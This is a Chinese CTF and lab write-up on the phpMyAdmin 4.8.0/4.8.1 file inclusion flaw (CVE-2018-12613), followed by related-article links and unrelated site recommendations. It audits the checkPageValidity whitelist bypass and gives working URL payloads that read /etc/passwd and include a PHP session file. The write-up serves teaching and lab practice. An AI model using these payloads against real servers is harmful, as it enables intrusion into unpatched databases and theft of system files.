简介

环境复现:https://gitee.com/xiaohua1998/hctf_2018_warmup

考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意文件包含)

线上平台:榆林学院内可使用协会内部的网络安全实验平台

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,

通过二次编码即可绕过检查,造成远程文件包含漏洞。

受影响版本

phpMyAdmin 4.8.0和4.8.1受到影响。

代码审计

通过审计index.php发现了文件包含 只要达到if里面的条件即可执行文件包含。

! empty($_REQUEST['target'])  //request接受的target不能为空
&& is_string($_REQUEST['target']) //target里面的值必须是字符串
&& ! preg_match('/^index/', $_REQUEST['target']) //target里面的值不能以index为头
&& ! in_array($_REQUEST['target'], $target_blacklist)  //target传进来的值不能是$target_backlist里面的值 如"import.php" 和"export.php"
&& Core::checkPageValidity($_REQUEST['target'])  //将值给checkPageValidity()函数 要返回true 才能全整体为真

接下来继续追溯checkPageValidity 函数

public static function checkPageValidity(&$page, array $whitelist = []) {
    //首先判断$whitelist不为空 则将$goto_whitelist值赋值给$whitelist
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist; //这里得追溯下 看看$got_whitelist
}
    //判断传进来的值 要存在而且
if (! isset($page) || !is_string($page)) {
return false;
}
     //判断传进来的值是否在白名单内
if (in_array($page, $whitelist)) {
return true;
}     //截取传进来的?号
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
      //判断$_page是否输入$page
if (in_array($_page, $whitelist)) {
return true;
}
      
      //给page解码
$_page = urldecode($page);
    //截取?号部分
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
} return false;
}

得到上面的情况我们可以构造payload:

http://192.168.52.129:8080/?target=tbl_zoom_select.php?/../../../../../../etc/passwd

漏洞利用方法

包含session文件payload

http://192.168.52.129:8080/?target=tbl_zoom_select.php?/../../../../../../tmp/sess_1d4171b498cba40de617fbea8902d5f0

phpmyadmin 4.8.1任意文件包含(CVE-2018-12613)的更多相关文章

  1. phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

    漏洞详情 范围 phpMyAdmin 4.8.0和4.8.1 原理 首先在index.php 50-63行代码 $target_blacklist = array ( 'import.php', 'e ...

  2. phpmyadmin任意文件包含漏洞分析(含演示)

    0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: ...

  3. [CVE-2014-8959] phpmyadmin任意文件包含漏洞分析

    0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: ...

  4. phpMyAdmin Transformation 任意文件包含/远程代码执行漏洞

    漏洞参考 https://yq.aliyun.com/articles/679633 国外提供了一个在线测试的靶场     默认密码  root  toor https://www.vsplate.c ...

  5. phpMyAdmin 4.8.x 本地文件包含漏洞利用

    phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...

  6. 18.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

    phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的.基于Web的MySQL数据库管理工具.其index.php中存在一处文件包含逻辑, ...

  7. 记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)

    题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...

  8. PHP任意文件包含绕过截断新姿势

    前言 此方法是@l3m0n叔叔给我分享的,原文已经发布在90sec 我没有90sec的账号,所以自己实践一下,顺道安利给访问我博客的小伙伴. 适用情况 可以控制协议的情况下,如果%00无法截断包含,可 ...

  9. PHP:ThinkCMFX任意文件包含漏洞

    前言:最近爆出来的漏洞,ThinkCmfX版本应该是通杀的,基于3.X Thinkphp开发的 代码下载地址:https://gitee.com/thinkcmf/ThinkCMFX/releases ...

随机推荐

  1. CPU 底层运算之乘法运算

    CPU 运算加减法运算 假设计算  3+3  原码是0011 * 0011(以4位存贮单元,因为是原码,最高位不代表符号位) 1. 首先 判断 两个加数是否有 负数(减法)  如果有 负数 先将负数转 ...

  2. pdf 转word 工具

    在线转换,每天有次数限制,但是很强大: https://smallpdf.com/cn 可以使用python 写代码来转换文档 参考下面博客连接 https://blog.csdn.net/Dontl ...

  3. bootstrapvalidator常用验证解析和使用

    学这个博主的:https://www.cnblogs.com/wang-kai-xuan/p/11031733.html BootStrapValidator表单验证插件的学习和使用 引入标签     ...

  4. jQuery load() 中文乱码

    1.使用editplus创建了demo.txt (ANSI保存的), $("#div1").load("demo.txt");//div显示中文乱码---> ...

  5. docker compose 用法

    目录 docker compose的使用场景 一个基本的demo演示 找一个目录,在其中创建一个python文件app.py 在相同的文件夹下,创建requirements.txt文件 在相同的文件夹 ...

  6. CodeForces 1025G Company Acquisitions

    题意 描述有点麻烦,就不写了. \(\texttt{Data Range:}1\leq n\leq 500\) 题解 势能函数这个东西好神啊-- 这个题目用常规的 DP 好像做不出来,所以我们可以考虑 ...

  7. 机器学习 第4篇:sklearn 最邻近算法概述

    sklearn.neighbors 提供了针对无监督和受监督的基于邻居的学习方法的功能.监督的基于最邻近的机器学习算法是值:对带标签的数据的分类和对连续数据的预测(回归). 无监督的最近算法是许多其他 ...

  8. Kafka_2.12-2.5.1集群搭建与参数调优

    Kafka是目前业界使用最广泛的消息队列.数据流转常见这样的业务场景,客户端把采集到的日志推送给Kafka,业务方可以消费Kafka的数据落地HDFS,用于离线分析,也可以使用Spark或Flink消 ...

  9. Rename object in TFS[Unable to import Trying to import Table MFATable_test1 with ID 50003 ID already held by Table MFATable1 ]

    You can get this error message while renaming object that is checked out from TFS. Unable to import  ...

  10. leetcode105: jump-game-ii

    题目描述 给出一个非负整数数组,你最初在数组第一个元素的位置 数组中的元素代表你在这个位置可以跳跃的最大长度 你的目标是用最少的跳跃次数来到达数组的最后一个元素的位置 例如 给出数组 A =[2,3, ...